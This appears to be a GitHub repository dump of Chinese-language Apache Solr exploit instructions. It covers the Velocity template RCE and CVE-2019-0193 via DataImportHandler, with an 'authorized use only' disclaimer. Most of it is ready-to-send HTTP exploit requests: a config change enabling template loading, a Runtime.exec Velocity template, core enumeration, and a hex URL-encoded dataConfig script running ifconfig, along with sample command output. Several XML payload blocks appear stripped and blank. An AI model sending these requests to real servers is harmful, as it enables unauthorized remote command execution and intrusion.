├── RCE via Velocity template 2019.10.30.md
├── README.md
└── URLDataSource
└── demo.xml
/RCE via Velocity template 2019.10.30.md:
--------------------------------------------------------------------------------
1 | ### 声明
2 |
3 | 此处提供的漏洞检测方法、文件等内容,均仅限于安全从业者在获得法律授权的情况下使用,目的是检测已授权的服务器的安全性。安全从业者务必遵守法律规定,禁止在没有得到授权的情况下做任何漏洞检测。
4 |
5 | ### 漏洞检测
6 |
7 | 2019.10.30 国外@_S00pY发布RCE via Velocity template PoC
8 |
9 | 内容如下
10 | ```
11 | Apache Solr RCE via Velocity template
12 |
13 | Set "params.resource.loader.enabled" as true.
14 |
15 | Request:
16 | ========================================================================
17 | POST /solr/test/config HTTP/1.1
18 | Host: solr:8983
19 | Content-Type: application/json
20 | Content-Length: 259
21 |
22 | {
23 | "update-queryresponsewriter": {
24 | "startup": "lazy",
25 | "name": "velocity",
26 | "class": "solr.VelocityResponseWriter",
27 | "template.base.dir": "",
28 | "solr.resource.loader.enabled": "true",
29 | "params.resource.loader.enabled": "true"
30 | }
31 | }
32 | ========================================================================
33 |
34 |
35 | RCE via velocity template
36 | Request:
37 | ========================================================================
38 | GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
39 | Host: localhost:8983
40 | ========================================================================
41 |
42 |
43 | Response:
44 | ========================================================================
45 | HTTP/1.1 200 OK
46 | Content-Type: text/html;charset=utf-8
47 | Content-Length: 56
48 |
49 | 0 uid=8983(solr) gid=8983(solr) groups=8983(solr)
50 | ========================================================================
51 | ```
52 |
53 |
54 | #### 第1步
55 |
56 | 设置VelocityResponseWriter插件的params.resource.loader.enabled选项设置为true
57 |
58 | Apache Solr默认带有VelocityResponseWriter插件,该插件的params.resource.loader.enabled选项(默认为false),用来控制是否允许resource.loader在Solr请求参数中指定模版。
59 |
60 | 以下HTTP请求会设置VelocityResponseWriter插件的params.resource.loader.enabled选项设置为true,即允许用户通过HTTP请求指定资源的加载。
61 |
62 | ```
63 | POST /solr/core_name/config HTTP/1.1
64 | Host: solr.com:8983
65 | Content-Type: application/json
66 | Content-Length: 293
67 |
68 | {
69 | "update-queryresponsewriter": {
70 | "startup": "lazy",
71 | "name": "velocity",
72 | "class": "solr.VelocityResponseWriter",
73 | "template.base.dir": "",
74 | "solr.resource.loader.enabled": "true",
75 | "params.resource.loader.enabled": "true"
76 | }
77 | }
78 | ```
79 |
80 | 测试发现
81 |
82 | `HTTP/1.1 200 OK`表示修改成功;
83 | 否则失败(可能因为这个core对应的solrconfig.xml没配置VelocityResponseWriter插件)
84 |
85 | #### 第2步
86 |
87 | 构造一个自定义的Velocity模版,可实现执行任意系统命令
88 |
89 | 这里执行命令`ls -al`
90 |
91 | ```
92 | GET /solr/core_name/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%20-al%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
93 | Host: solr.com:8983
94 | Connection: close
95 | ```
96 |
97 | 命令执行结果 见HTTP response Body.
98 |
99 | **例1** 执行`pwd`
100 |
101 | 得到Response
102 | ```
103 | HTTP/1.1 200 OK
104 | Connection: close
105 | Content-Type: text/html;charset=utf-8
106 | Content-Length: 27
107 |
108 | 0 /root/solr-7.7.2/server
109 | ```
110 |
111 | **例2** 执行`ls -al`
112 |
113 | 得到Response
114 | ```
115 | HTTP/1.1 200 OK
116 | Connection: close
117 | Content-Type: text/html;charset=utf-8
118 | Content-Length: 676
119 |
120 | 0 total 208
121 | drwxr-xr-x 11 root root 4096 Oct 31 2019 .
122 | drwxr-xr-x 9 root root 4096 May 28 2019 ..
123 | drwxr-xr-x 2 root root 4096 May 28 2019 contexts
124 | drwxr-xr-x 2 root root 4096 May 28 2019 etc
125 | drwxr-xr-x 3 root root 4096 May 28 2019 lib
126 | drwxr-xr-x 2 root root 4096 Oct 31 2019 logs
127 | drwxr-xr-x 2 root root 4096 May 28 2019 modules
128 | -rw-r--r-- 1 root root 4068 May 28 2019 README.txt
129 | drwxr-xr-x 2 root root 4096 May 28 2019 resources
130 | drwxr-xr-x 3 root root 4096 May 28 2019 scripts
131 | drwxr-xr-x 6 root root 4096 Oct 31 2019 solr
132 | drwxr-xr-x 3 root root 4096 May 28 2019 solr-webapp
133 | -rw-r--r-- 1 root root 160625 Nov 14 2018 start.jar
134 | ```
135 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ### 声明
2 |
3 | 此处提供的漏洞检测方法、文件等内容,均仅限于安全从业者在获得法律授权的情况下使用,目的是检测已授权的服务器的安全性。安全从业者务必遵守法律规定,禁止在没有得到授权的情况下做任何漏洞检测。
4 |
5 | ### 简介
6 |
7 | [漏洞分析 - Apache Solr远程代码执行漏洞(CVE-2019-0193) - 先知社区](https://xz.aliyun.com/t/5965)
8 |
9 | 理论上可以使用各种不同类型的数据源来构造Exploit
10 |
11 | Exploit1使用数据源的类型为`URLDataSource`
12 |
13 | Exploit2使用的数据源类型为 `ContentStreamDataSource`
14 |
15 |
16 | ### 检测漏洞 - Exploit1
17 |
18 | Exploit1使用数据源的类型为`URLDataSource`
19 |
20 | 优点:结果回显 支持对Solr低版本的检测
21 |
22 | 缺点:需要出网
23 |
24 |
25 | #### 步骤1
26 |
27 | 构造`URLDataSource`类型的数据源(Solr服务器会去访问该数据源!) 可以直接使用这个
28 |
29 | https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml
30 |
31 | 文档`demo.xml` 即`URLDataSource`类型的数据源 一份无害的正常XML文档
32 |
33 | 文档中只有一个`item`元素 以便实现只执行1次命令
34 |
35 |
36 | 也可以自己启动web服务器托管文档`demo.xml` 命令 `live-server --port=5555` 得到地址 `http://127.0.0.1:5555/demo.xml`
37 |
38 | #### 步骤2
39 |
40 | 获取Solr中所有索引库(core)的名称
41 |
42 | ```
43 | http://{xx.com:80}/solr/admin/cores
44 |
45 | HTTP响应 JSON数据 会有所有索引库(core)的名称
46 |
47 | "name":"xxxx"
48 | ```
49 |
50 | #### 步骤3
51 |
52 | 判断该索引库是否使用了DataImportHandler模块
53 |
54 | 方法1
55 | ```
56 | 访问
57 | http://{xx.com:80}/solr/{core_name}/admin/mbeans?cat=QUERY&wt=json
58 |
59 | 如果使用了DataImportHandler模块 则HTTP响应内会有:
60 | org.apache.solr.handler.dataimport.DataImportHandler
61 |
62 | 否则说明没有使用DataImportHandler模块(不受该漏洞影响)
63 | ```
64 |
65 | 方法2
66 | ```
67 | 访问
68 | http://{xx.com:80}/solr/#/{core_name}/dataimport
69 |
70 | 如果这个Solr服务器并没有使用dataimport-handler模块(不受该漏洞影响),HTTP响应中会有提示:
71 | sorry, no dataimport-handler defined!
72 |
73 | 否则说明使用了DataImportHandler模块(受该漏洞影响)
74 | ```
75 |
76 | #### 步骤4 构造HTTP请求
77 |
78 | 执行命令 HTTP响应中有执行结果回显 支持多行结果 (我写的是每一行用`\n\r`结尾)
79 |
80 | 注意:需要将以下请求url中的字符串"tika"替换为索引库的名称
81 |
82 | ```
83 | POST /solr/tika/dataimport HTTP/1.1
84 | Host: solr.com:8983
85 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
86 | Accept: application/json, text/plain, */*
87 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
88 | Accept-Encoding: gzip, deflate
89 | Referer: http://solr.com:8983/solr/
90 | Content-type: application/x-www-form-urlencoded
91 | X-Requested-With: XMLHttpRequest
92 | Content-Length: 1231
93 | Connection: close
94 |
95 | command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=
96 |
97 |
98 |
99 |
100 |
122 |
123 |
124 |
129 |
130 |
131 |
132 |
133 | ```
134 |
135 |
136 | ### 检测漏洞 - Exploit2
137 |
138 | Exploit2使用的数据源类型为 `ContentStreamDataSource`
139 |
140 | 优点:结果回显 无需出网
141 |
142 | 缺点:对低版本无法检测 - 因为通过POST请求修改`configoverlay.json`文件中的配置会失败
143 |
144 | #### 步骤1-3
145 |
146 | 步骤1省略
147 |
148 | 步骤2-3 同上
149 |
150 | #### 步骤4
151 |
152 | 该步骤是为了修改`configoverlay.json`文件中的配置 以启用远程流的相关选项 `.enableStreamBody` `.enableRemoteStreaming`
153 |
154 | 替换`tika`为索引库名称
155 |
156 | ```
157 | POST /solr/tika/config HTTP/1.1
158 | Host: 127.0.0.1
159 | Accept: */*
160 | Content-type:application/json
161 | Content-Length: 159
162 | Connection: close
163 |
164 | {"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": true}, "set-property": {"requestDispatcher.requestParsers.enableStreamBody": true}}
165 | ```
166 |
167 | 响应200即成功(实际测试 8.1可以成功)
168 |
169 | 响应500即失败(实际测试 某些低版本会失败)
170 |
171 | #### 步骤5
172 |
173 | 发送请求 执行系统命令`ifconfig` 并得到回显 (全程无外连 不出网)
174 |
175 | ```
176 | POST /solr/tika/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=%0a%3c%64%61%74%61%43%6f%6e%66%69%67%3e%0a%3c%64%61%74%61%53%6f%75%72%63%65%20%6e%61%6d%65%3d%22%73%74%72%65%61%6d%73%72%63%22%20%74%79%70%65%3d%22%43%6f%6e%74%65%6e%74%53%74%72%65%61%6d%44%61%74%61%53%6f%75%72%63%65%22%20%6c%6f%67%67%65%72%4c%65%76%65%6c%3d%22%54%52%41%43%45%22%20%2f%3e%0a%0a%20%20%3c%73%63%72%69%70%74%3e%3c%21%5b%43%44%41%54%41%5b%0a%20%20%20%20%20%20%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%6f%63%28%72%6f%77%29%7b%0a%20%76%61%72%20%62%75%66%52%65%61%64%65%72%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%69%66%63%6f%6e%66%69%67%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%0a%0a%76%61%72%20%72%65%73%75%6c%74%20%3d%20%5b%5d%3b%0a%0a%77%68%69%6c%65%28%74%72%75%65%29%20%7b%0a%76%61%72%20%6f%6e%65%6c%69%6e%65%20%3d%20%62%75%66%52%65%61%64%65%72%2e%72%65%61%64%4c%69%6e%65%28%29%3b%0a%72%65%73%75%6c%74%2e%70%75%73%68%28%20%6f%6e%65%6c%69%6e%65%20%29%3b%0a%69%66%28%21%6f%6e%65%6c%69%6e%65%29%20%62%72%65%61%6b%3b%0a%7d%0a%0a%72%6f%77%2e%70%75%74%28%22%74%69%74%6c%65%22%2c%72%65%73%75%6c%74%2e%6a%6f%69%6e%28%22%5c%6e%5c%72%22%29%29%3b%0a%72%65%74%75%72%6e%20%72%6f%77%3b%0a%0a%7d%0a%0a%5d%5d%3e%3c%2f%73%63%72%69%70%74%3e%0a%0a%3c%64%6f%63%75%6d%65%6e%74%3e%0a%20%20%20%20%3c%65%6e%74%69%74%79%0a%20%20%20%20%20%20%20%20%73%74%72%65%61%6d%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%6e%61%6d%65%3d%22%65%6e%74%69%74%79%31%22%0a%20%20%20%20%20%20%20%20%64%61%74%61%73%6f%75%72%63%65%3d%22%73%74%72%65%61%6d%73%72%63%31%22%0a%20%20%20%20%20%20%20%20%70%72%6f%63%65%73%73%6f%72%3d%22%58%50%61%74%68%45%6e%74%69%74%79%50%72%6f%63%65%73%73%6f%72%22%0a%20%20%20%20%20%20%20%20%72%6f%6f%74%45%6e%74%69%74%79%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%66%6f%72%45%61%63%68%3d%22%2f%52%44%46%2f%69%74%65%6d%22%0a%20%20%20%20%20%20%20%20%74%72%61%6e%73%66%6f%72%6d%65%72%3d%22%73%63%72%69%70%74%3a%70%6f%63%22%3e%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%66%69%65%6c%64%20%63%6f%6c%75%6d%6e%3d%22%74%69%74%6c%65%22%20%78%70%61%74%68%3d%22%2f%52%44%46%2f%69%74%65%6d%2f%74%69%74%6c%65%22%20%2f%3e%0a%20%20%20%20%3c%2f%65%6e%74%69%74%79%3e%0a%3c%2f%64%6f%63%75%6d%65%6e%74%3e%0a%3c%2f%64%61%74%61%43%6f%6e%66%69%67%3e%0a%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20 HTTP/1.1
177 | Host: solr.com:8983
178 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
179 | Accept: application/json, text/plain, */*
180 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
181 | Accept-Encoding: gzip, deflate
182 | Referer: http://solr.com:8983/solr/
183 | Content-Length: 212
184 | content-type: multipart/form-data; boundary=------------------------aceb88c2159f183f
185 |
186 |
187 | --------------------------aceb88c2159f183f
188 | Content-Disposition: form-data; name="stream.body"
189 |
190 |
191 |
192 |
193 |
194 |
195 | --------------------------aceb88c2159f183f--
196 |
197 | ```
198 |
199 |
200 |
201 | 注意,其中dataConfig的值,URLencode之前为以下字符串
202 | ```
203 |
204 |
205 |
206 |
207 |
225 |
226 |
227 |
235 |
236 |
237 |
238 |
239 | ```
240 |
--------------------------------------------------------------------------------
/URLDataSource/demo.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------